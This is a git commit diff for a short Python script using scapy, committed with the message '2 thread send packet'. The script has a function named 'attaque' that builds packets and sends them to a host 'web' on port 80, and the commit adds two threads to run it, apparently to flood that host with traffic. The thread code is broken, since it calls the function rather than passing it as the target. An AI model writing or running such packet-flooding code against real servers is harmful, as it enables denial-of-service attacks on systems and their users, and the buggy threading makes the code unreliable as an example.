2 thread send packet

This commit is contained in:
vSpaike 2025-01-14 12:21:12 +01:00
parent 5b0309a4e8
commit 5d1b6fc5ce

View file

@ -1,5 +1,6 @@
from scapy.all import *
import random as r
import threading as th
adresse = "web"
port = 80
@ -23,4 +24,7 @@ def attaque():
sr1(paquet, verbose=True)
if __name__ == "__main__":
attaque()
t1= th.Thread(target=attaque())
t2=th.Thread(target=attaque())
t1.start()
t2.start()